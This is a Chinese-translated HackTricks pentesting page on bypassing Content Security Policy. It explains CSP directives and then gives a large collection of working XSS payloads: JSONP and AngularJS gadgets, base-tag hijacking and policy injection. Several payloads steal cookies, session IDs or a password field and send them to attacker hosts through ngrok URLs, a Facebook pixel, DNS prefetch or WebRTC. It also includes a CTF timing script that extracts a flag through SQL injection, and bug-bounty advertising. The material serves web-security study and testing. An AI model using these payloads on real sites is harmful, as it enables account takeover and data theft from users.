hacktricks/pentesting-web/content-security-policy-csp-bypass
2023-11-05 22:22:57 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated ['pentesting-web/content-security-policy-csp-bypass/README.md 2023-11-05 22:22:57 +00:00

内容安全策略CSP绕过

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof是所有加密漏洞赏金的家园。

无需等待即可获得奖励
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网在其兴起的时代掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声望积分,并占据每周排行榜的榜首。

在HackenProof上注册开始从您的黑客行为中获利!

{% embed url="https://hackenproof.com/register" %}

什么是CSP

内容安全策略Content Security PolicyCSP是一种内置的浏览器技术有助于防止跨站脚本XSS等攻击。它列出并描述了浏览器可以安全加载资源的路径和来源。这些资源可以包括图像、框架、JavaScript等。以下是允许从本地域self加载和执行内联资源以及允许字符串代码执行函数evalsetTimeoutsetInterval)的示例:

内容安全策略通过响应头HTML页面的元素实现。浏览器遵循接收到的策略,并在检测到违规时主动阻止。

通过响应头实现:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

通过 meta 标签实现:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

  • Content-Security-Policy(内容安全策略)
  • Content-Security-Policy-Report-Only(仅报告模式,不会阻止任何内容,仅发送报告,用于预发布环境)。

定义资源

CSP通过限制可以加载主动和被动内容的来源来工作。它还可以限制主动内容的某些方面例如执行内联JavaScript和使用eval()

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

指令

  • script-src: 此指令指定了允许的 JavaScript 资源来源。这不仅包括直接加载到元素中的 URL还包括可以触发脚本执行的内联脚本事件处理程序例如 onclick和 XSLT 样式表。
  • default-src: 此指令定义了默认情况下获取资源的策略。当 CSP 标头中缺少获取指令时,浏览器默认遵循此指令。
  • Child-src: 此指令定义了 Web Workers 和嵌入式框架内容的允许资源。
  • connect-src: 此指令限制了使用 fetch、websocket、XMLHttpRequest 等接口加载的 URL。
  • frame-src: 此指令限制了可以调用的框架的 URL。
  • frame-ancestors: 此指令指定可以嵌入当前页面的来源。此指令适用于 <frame><iframe><object><embed><applet>。此指令不能在标签中使用,仅适用于非 HTML 资源。
  • img-src: 它定义了可以加载网页上的图像的来源。
  • font-src: 指令指定了使用 @font-face 加载字体的有效来源。
  • manifest-src: 此指令定义了应用程序清单文件的允许来源。
  • media-src: 它定义了可以加载媒体对象的来源。
  • object-src: 它定义了 <object><embed><applet> 元素的允许来源。
  • base-uri: 它定义了可以使用元素加载的允许 URL。
  • form-action: 此指令列出了标签提交的有效端点。
  • plugin-types: 它定义了页面可以调用的 MIME 类型的限制。
  • upgrade-insecure-requests: 此指令指示浏览器重写 URL 方案,将 HTTP 改为 HTTPS。对于需要重写大量旧 URL 的网站,此指令可能很有用。
  • sandbox: sandbox 指令为请求的资源启用了类似于 sandbox 属性的沙箱。它对页面的操作施加了限制,包括阻止弹出窗口、阻止插件和脚本的执行,并强制执行同源策略。

来源

  • *: 这允许任何 URL但不包括 data:blob:filesystem: 方案。
  • self: 此来源定义了允许从同一域加载页面上的资源。
  • data: 此来源允许通过 data 方案加载资源(例如 Base64 编码的图像)。
  • none: 此指令不允许从任何来源加载任何内容。
  • unsafe-eval: 这允许使用 eval() 和类似的方法从字符串创建代码。出于安全原因,不建议在任何指令中包含此来源。因此,它被命名为 unsafe。
  • unsafe-hashes: 这允许启用特定的内联事件处理程序。
  • unsafe-inline: 这允许使用内联资源例如内联元素、javascript: URL、内联事件处理程序和内联元素。出于安全原因不建议使用此功能。
  • nonce: 使用加密的 nonce一次性数字为特定的内联脚本设置白名单。服务器必须每次传输策略时生成唯一的 nonce 值。
  • sha256-<hash>: 为具有特定 sha256 哈希的脚本设置白名单
  • strict-dynamic: 它允许浏览器从先前由 "nonce" 或 "hash" 值列入白名单的任何脚本来源中加载和执行新的 JavaScript 标签。
  • host: 指示主机,例如 example.com

不安全的 CSP 规则

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

工作负载:"/><script>alert(1);</script>

通过 iframe 实现 self + 'unsafe-inline'

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

有效的负载:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

如果你能以某种方式使一个允许的JS代码创建一个新的脚本标签在DOM中因为是一个允许的脚本创建了它新的脚本标签将被允许执行

通配符 (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

有效的负载:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

缺乏 object-src 和 default-src

{% hint style="danger" %} 看起来这个方法已经不再有效 {% endhint %}

Content-Security-Policy: script-src 'self' ;

有效的负载:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

文件上传 + 'self'

介绍

在Web应用程序中内容安全策略Content Security PolicyCSP是一种安全机制用于限制浏览器加载和执行的内容。CSP通过指定允许加载的资源源来防止跨站点脚本攻击XSS和数据泄漏。

然而有时候Web应用程序可能会配置CSP策略允许从self源加载资源。这意味着只有来自同一域的资源才能被加载。这种配置可能会导致一些安全漏洞,特别是在涉及文件上传的情况下。

攻击方法

攻击者可以利用文件上传功能来绕过CSP策略中的self限制。攻击步骤如下:

  1. 攻击者上传恶意文件到目标应用程序。
  2. 目标应用程序将恶意文件存储在服务器上。
  3. 攻击者构造一个包含恶意文件的URL并将其注入到受害者的页面中。
  4. 受害者访问包含恶意文件URL的页面。
  5. 由于CSP策略允许从self源加载资源,浏览器将加载并执行恶意文件。

通过利用这种方法攻击者可以绕过CSP策略中的self限制加载并执行恶意文件从而进行进一步的攻击如XSS攻击或数据泄漏。

防御方法

为了防止利用文件上传功能绕过CSP策略中的self限制,开发人员可以采取以下防御措施:

  1. 在文件上传功能中,对上传的文件进行严格的验证和过滤,确保只有安全的文件被接受和存储。
  2. 在CSP策略中不仅仅依赖于self源,还可以使用其他安全源,如特定的域或子域。
  3. 定期更新和维护CSP策略以适应新的安全威胁和漏洞。

通过采取这些防御措施开发人员可以有效地防止攻击者利用文件上传功能绕过CSP策略中的self限制。

Content-Security-Policy: script-src 'self';  object-src 'none' ;

如果你能上传一个JS文件你就可以绕过这个CSP

有效载荷:

"/>'><script src="/uploads/picture.png.js"></script>

然而,很有可能服务器正在验证上传的文件,并且只允许你上传特定类型的文件

此外,即使你能够通过使用服务器接受的扩展名(如:script.png)在文件中上传JS代码这还不够因为一些服务器如Apache服务器会根据扩展名选择文件的MIME类型而像Chrome这样的浏览器会拒绝执行应该是图像的东西中的Javascript代码。"幸运的是"这里存在一些错误。例如从一个CTF中我了解到Apache不知道_.wave_扩展名因此它不会使用类似audio/*的MIME类型提供它。

从这里开始如果你找到了一个XSS漏洞和一个文件上传漏洞并且你设法找到了一个被错误解释的扩展名,你可以尝试上传一个带有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,你可以创建一个多语言文件(这里有一些多语言文件的例子)。

第三方终端点 + ('unsafe-eval')

{% hint style="warning" %} 对于以下一些有效载荷,unsafe-eval甚至都不需要。 {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

加载一个有漏洞的Angular版本并执行任意JS代码

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

使用Angular + 一个返回window对象的函数库的有效载荷(查看此文章

{% hint style="info" %} 该文章显示您可以从cdn.cloudflare.com或任何其他允许的JS库仓库加载所有,执行每个库中添加的所有函数,并检查哪些函数从哪些库返回window对象。 {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>



滥用谷歌验证码JS代码

根据这篇CTF解题报告,您可以滥用https://www.google.com/recaptcha/在CSP中执行任意JS代码绕过CSP限制

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

第三方端点 + JSONP

JSONPJSON with Padding是一种绕过内容安全策略CSP限制的技术。CSP是一种安全机制用于防止跨站点脚本攻击XSS和其他恶意行为。然而通过使用JSONP攻击者可以绕过CSP限制并执行恶意代码。

JSONP利用了浏览器对<script>标签的信任允许从不同域的服务器加载脚本。攻击者可以将恶意代码嵌入到JSONP响应中并通过动态创建<script>标签来执行该代码。

要利用JSONP绕过CSP攻击者需要找到一个允许使用JSONP的第三方端点。这个端点应该接受一个回调函数作为参数并将恶意代码作为回调函数的参数返回。

以下是一个示例展示了如何使用JSONP绕过CSP限制

<script>
function handleResponse(data) {
    // 在这里执行恶意代码
}

var url = 'https://example.com/endpoint?callback=handleResponse';
var script = document.createElement('script');
script.src = url;
document.body.appendChild(script);
</script>

在上面的示例中,handleResponse函数是一个回调函数,用于处理从第三方端点返回的数据。攻击者可以在这个函数中执行恶意代码。

需要注意的是JSONP存在安全风险并且已经被许多现代浏览器禁止使用。因此开发人员应该避免使用JSONP并使用更安全的替代方案如CORS跨域资源共享来处理跨域请求。

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

像这样的情况,script-src 被设置为 self 和一个特定的域名,该域名被列入白名单,可以通过使用 JSONP 来绕过。JSONP 端点允许使用不安全的回调方法,这使得攻击者可以执行 XSS有效载荷如下

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee 包含了用于绕过不同网站的CSP的JSONP端点。

如果受信任的端点包含一个开放重定向,那么将发生相同的漏洞,因为如果初始端点是受信任的,那么重定向也是受信任的。

第三方滥用

此文所述有许多第三方域可能在CSP的某个地方被允许可以被滥用来窃取数据或执行JavaScript代码。其中一些第三方域包括

实体 允许的域名 功能
Facebook www.facebook.com, *.facebook.com 窃取
Hotjar *.hotjar.com, ask.hotjar.io 窃取
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net 执行
Amazon CloudFront *.cloudfront.net 窃取,执行
Amazon AWS *.amazonaws.com 窃取,执行
Azure Websites *.azurewebsites.net, *.azurestaticapps.net 窃取,执行
Salesforce Heroku *.herokuapp.com 窃取,执行
Google Firebase *.firebaseapp.com 窃取,执行

如果在目标的CSP中找到任何允许的域名那么有可能通过在第三方服务上注册来绕过CSP然后将数据窃取到该服务或执行代码。

例如如果找到以下CSP

Content-Security-Policy: default-src 'self www.facebook.com;

或者

Content-Security-Policy: connect-src www.facebook.com;

你应该能够像以往一样使用Google Analytics/Google Tag Manager来窃取数据。在这种情况下,按照以下一般步骤进行操作:

  1. 在此处创建一个Facebook开发者账户。
  2. 创建一个新的“Facebook登录”应用程序并选择“网站”。
  3. 转到“设置 -> 基本信息”获取你的“应用ID”。
  4. 在你想要从中窃取数据的目标网站上你可以通过直接使用Facebook SDK工具“fbq”和“customEvent”以及数据有效载荷来窃取数据。
  5. 转到你的应用程序的“事件管理器”并选择你创建的应用程序注意事件管理器可以在类似于此URL的位置找到https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. 选择“测试事件”选项卡,以查看“你的”网站发送的事件。

然后在受害者端你执行以下代码来初始化Facebook跟踪像素将其指向攻击者的Facebook开发者账户应用ID并发出一个自定义事件如下所示

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

关于前面表格中指定的其他七个第三方域名,还有许多其他方法可以滥用它们。有关其他第三方滥用的详细解释,请参考之前的博客文章

通过RPO相对路径覆盖绕过

除了前面提到的绕过路径限制的重定向之外还有一种称为相对路径覆盖RPO的技术可以在某些服务器上使用。

例如如果CSP允许路径https://example.com/scripts/react/,可以按以下方式绕过:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

浏览器最终将加载https://example.com/scripts/angular/angular.js

这是因为对于浏览器来说,您正在加载位于https://example.com/scripts/react/下的名为..%2fangular%2fangular.js的文件这符合CSP。

然而,对于某些服务器,在接收到请求时,它们会对其进行解码,从而实际请求https://example.com/scripts/react/../angular/angular.js,这等同于https://example.com/scripts/angular/angular.js

通过利用浏览器和服务器之间URL解释的这种不一致性可以绕过路径规则

解决方案是在服务器端不将%2f视为/,以确保浏览器和服务器之间的一致解释,避免此问题。

在线示例: https://jsbin.com/werevijewa/edit?html,output

Iframes JS执行

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

缺少base-uri

如果缺少base-uri指令,您可以滥用它来执行悬挂标记注入

此外,如果页面使用相对路径(如<script src="/js/app.js">)加载脚本并使用Nonce,您可以滥用base tag使其从您自己的服务器加载脚本从而实现XSS。
如果易受攻击的页面使用httpS加载请使用httpS URL。

<base href="https://www.attacker.com/">

AngularJS 事件

根据具体的策略CSP会阻止JavaScript事件。然而AngularJS定义了自己的事件可以代替使用。当在事件内部时AngularJS定义了一个特殊的$event对象它简单地引用浏览器事件对象。您可以使用此对象来执行CSP绕过。在Chrome上$event/event对象上有一个特殊的属性叫做path。该属性包含一个对象数组,导致事件被执行。最后一个属性始终是window对象,我们可以使用它来执行沙盒逃逸。通过将此数组传递给orderBy过滤器,我们可以枚举数组并使用最后一个元素(window对象)来执行全局函数,例如alert()。以下代码演示了这一点:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 中查找其他Angular绕过方法

AngularJS和白名单域名

<iframe src="https://www.youtube.com/embed/abcdefghijk" ng-src="{{trustedUrl}}"></iframe>

This bypasses the AngularJS ng-src directive by using a hardcoded URL in the src attribute and the AngularJS expression in the ng-src attribute. The ng-src attribute is used to specify a trusted URL that is used as the source of the iframe.

这种方法通过在src属性中使用硬编码的URL和在ng-src属性中使用AngularJS表达式来绕过AngularJS的ng-src指令。ng-src属性用于指定一个可信任的URL作为iframe的源。

Angular 2+ and whitelisted domain

<iframe src="https://www.youtube.com/embed/abcdefghijk" [src]="trustedUrl"></iframe>

This bypasses the Angular 2+ [src] binding by using a hardcoded URL in the src attribute and the Angular 2+ binding syntax in the [src] attribute. The [src] attribute is used to specify a trusted URL that is used as the source of the iframe.

这种方法通过在src属性中使用硬编码的URL和在[src]属性中使用Angular 2+的绑定语法来绕过Angular 2+的[src]绑定。[src]属性用于指定一个可信任的URL作为iframe的源。

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

如果应用程序使用Angular JS并且脚本是从白名单域加载的那么可以通过调用回调函数和易受攻击的类来绕过此CSP策略。有关更多详细信息请访问这个很棒的git存储库。

有效载荷示例:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

其他JSONP任意执行端点可以在这里找到(其中一些已被删除或修复)。

通过重定向绕过

当CSP遇到服务器端重定向时会发生什么如果重定向导致到达不允许的不同源它仍然会失败。

然而,根据CSP规范4.2.2.3. 路径和重定向中的描述,如果重定向导致到达不同路径,它可以绕过原始限制。

以下是一个示例:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

如果CSP设置为https://www.google.com/a/b/c/d,由于考虑了路径,因此/test/a/test脚本都会被CSP阻止。

然而,最终的http://localhost:5555/301将在服务器端重定向到https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//。由于这是一个重定向,路径不被考虑,因此脚本可以被加载,从而绕过路径限制。

通过这种重定向,即使完全指定了路径,仍然会被绕过。

因此最好的解决方案是确保网站没有任何开放的重定向漏洞并且CSP规则中没有可以被利用的域名。

使用悬挂标记绕过CSP

请阅读此处的方法

'unsafe-inline'; img-src *; 通过XSS绕过

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' 表示可以在代码中执行任何脚本XSS 可以执行代码),img-src * 表示可以在网页中使用来自任何资源的任何图像。

您可以通过图像将数据泄露来绕过此 CSP在此情况下XSS 滥用了 CSRF其中机器人可以访问的页面包含 SQL 注入,并通过图像提取标志):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

从:https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

您还可以滥用此配置来加载插入图像中的JavaScript代码。例如如果页面允许从Twitter加载图像您可以制作一个特殊的图像,将其上传到Twitter并滥用“unsafe-inline”来执行JS代码作为常规的XSS该代码将加载图像,从中提取JS并执行它:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

使用Service Workers

Service Workers的**importScripts**函数不受CSP限制

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

策略注入

研究:https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

如果您发送的参数粘贴到策略的声明中,那么您可以以某种方式更改策略,使其变得无效。您可以使用以下任何一种绕过方法来允许脚本 'unsafe-inline'

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

因为这个指令会覆盖现有的script-src指令
你可以在这里找到一个例子:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

在Edge中这更简单。如果你可以在CSP中添加这个;_Edge丢弃整个策略
例子:http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; 通过XSSiframe进行时间攻击

注意缺少指令'unsafe-inline'
这次你可以通过XSS使受害者在你的控制下加载一个页面,使用<iframe。这次你将让受害者访问你想要提取信息(CSRF)的页面。你无法访问页面的内容,但如果你能以某种方式控制页面加载所需的时间,你就可以提取所需的信息。

这次将提取一个标志每当通过SQLi正确猜测一个字符时,由于休眠函数,响应时间会变长。然后,你将能够提取标志:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

通过书签工具

这种攻击需要一些社交工程,攻击者会说服用户将链接拖放到浏览器的书签工具上。这个书签工具会包含恶意的 JavaScript 代码,当被拖放或点击时,会在当前网页窗口的上下文中执行,绕过 CSP 并允许窃取敏感信息,如 cookies 或令牌。

了解更多信息,请查看原始报告

通过限制 CSP 绕过

这个 CTF 解答中,通过在允许的 iframe 中注入一个更严格的 CSP禁止加载特定的 JS 文件,然后通过原型污染DOM 篡改来滥用不同的脚本来加载任意脚本,从而绕过了 CSP。

您可以使用**csp属性限制 iframe 的 CSP**

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

这个CTF解答中,通过HTML注入可以更加限制CSP从而禁用了防止CSTI的脚本因此漏洞变得可利用
可以使用HTML元标签使CSP更加严格并通过删除允许其nonce入口通过sha启用特定的内联脚本来禁用内联脚本:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

使用 Content-Security-Policy-Report-Only 进行 JS 泄露

如果你能够让服务器响应头中的 Content-Security-Policy-Report-Only 的值由你控制(可能是因为 CRLF你可以让它指向你的服务器然后将你想要泄露的 JS 内容用 <script> 包裹起来。由于 CSP 很可能不允许 unsafe-inline,这将触发 CSP 错误,并且包含敏感信息的脚本的一部分将从 Content-Security-Policy-Report-Only 发送到服务器。

例如,可以参考这个 CTF 解答

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

泄露信息的CSP + iframe

想象一种情况一个页面根据用户不同将重定向到一个带有秘密的不同页面。例如用户admin访问redirectme.domain1.com会被重定向到adminsecret321.domain2.com你可以对admin进行XSS攻击。同时被重定向的页面不被安全策略允许但是进行重定向的页面是允许的。

你可以通过以下方式泄露admin被重定向的域名

  • 通过CSP违规
  • 通过CSP规则

CSP违规是一种即时泄露。只需要加载一个指向https://redirectme.domain1.com的iframe并监听securitypolicyviolation事件,该事件包含blockedURI属性其中包含被阻止的URI的域名。这是因为https://redirectme.domain1.comCSP允许重定向到https://adminsecret321.domain2.comCSP阻止。这利用了CSP处理iframes的未定义行为。Chrome和Firefox在这方面的行为不同。

当你知道可能组成秘密子域名的字符时你还可以使用二分搜索并检查CSP何时阻止资源何时不阻止资源从而在CSP中创建不同的禁止域名在这种情况下秘密可能以doc-X-XXXX.secdrivencontent.dev的形式存在

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

这里获取的技巧。

HackenProof是所有加密漏洞赏金的家园。

即时获得奖励
只有在客户存入奖励预算后HackenProof才会启动赏金。在漏洞验证后您将获得奖励。

在web3渗透测试中积累经验
区块链协议和智能合约是新的互联网在其兴起的时代掌握web3安全。

成为web3黑客传奇
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。

在HackenProof上注册开始从您的黑客攻击中获利!

{% embed url="https://hackenproof.com/register" %}

绕过CSP的不安全技术

PHP响应缓冲区超载

PHP默认情况下会将响应缓冲区设置为4096字节。因此如果PHP显示警告通过在警告中提供足够的数据响应将在CSP头之前发送导致头被忽略。
然后该技术基本上是通过使用警告填充响应缓冲区以便不发送CSP头。

这篇文章中得到的思路。

重写错误页面

这篇文章中可以看出通过加载一个错误页面可能没有CSP并重写其内容可以绕过CSP保护。

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME是一种滥用页面端点中的XSS或高度受限的XSS的技术以滥用同一源的其他端点。这是通过从攻击者页面加载易受攻击的端点然后将攻击者页面刷新到要滥用的同一源的真实端点来实现的。这样易受攻击的端点可以使用负载中的opener对象来访问要滥用的真实端点的DOM。有关更多信息请参见

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

此外,wordpress/wp-json/wp/v2/users/1?_jsonp=data中有一个JSONP端点,将在输出中反射发送的数据(仅限字母、数字和点)。

攻击者可以滥用该端点对WordPress进行SOME攻击并将其嵌入<script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>中,请注意,此脚本将被加载,因为它被'self'允许。此外由于安装了WordPress攻击者可能通过绕过CSP的易受攻击的回调端点来滥用SOME攻击以为用户提供更多权限安装新插件等。
有关如何执行此攻击的更多信息,请查看https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP信息泄露绕过

如果存在严格的CSP不允许您与外部服务器进行交互您始终可以执行一些操作来泄露信息。

Location

您可以更新位置以将秘密信息发送到攻击者的服务器:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta标签

您可以通过注入一个meta标签来进行重定向这只是一个重定向不会泄露内容

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS 预解析

为了加快页面加载速度,浏览器会提前将主机名解析为 IP 地址并缓存起来以备后用。
您可以使用以下方式告知浏览器预解析主机名:<link reol="dns-prefetch" href="something.com">

您可以利用这种行为来通过 DNS 请求泄露敏感信息

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

另一种方法:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

为了避免这种情况发生服务器可以发送以下HTTP头部

X-DNS-Prefetch-Control: off

{% hint style="info" %} 显然,这种技术在无头浏览器(机器人)中不起作用。 {% endhint %}

WebRTC

在一些页面上,你可以看到WebRTC不检查CSP的connect-src策略

实际上你可以使用_DNS请求_来泄露信息。查看以下代码

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

另一个选项:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
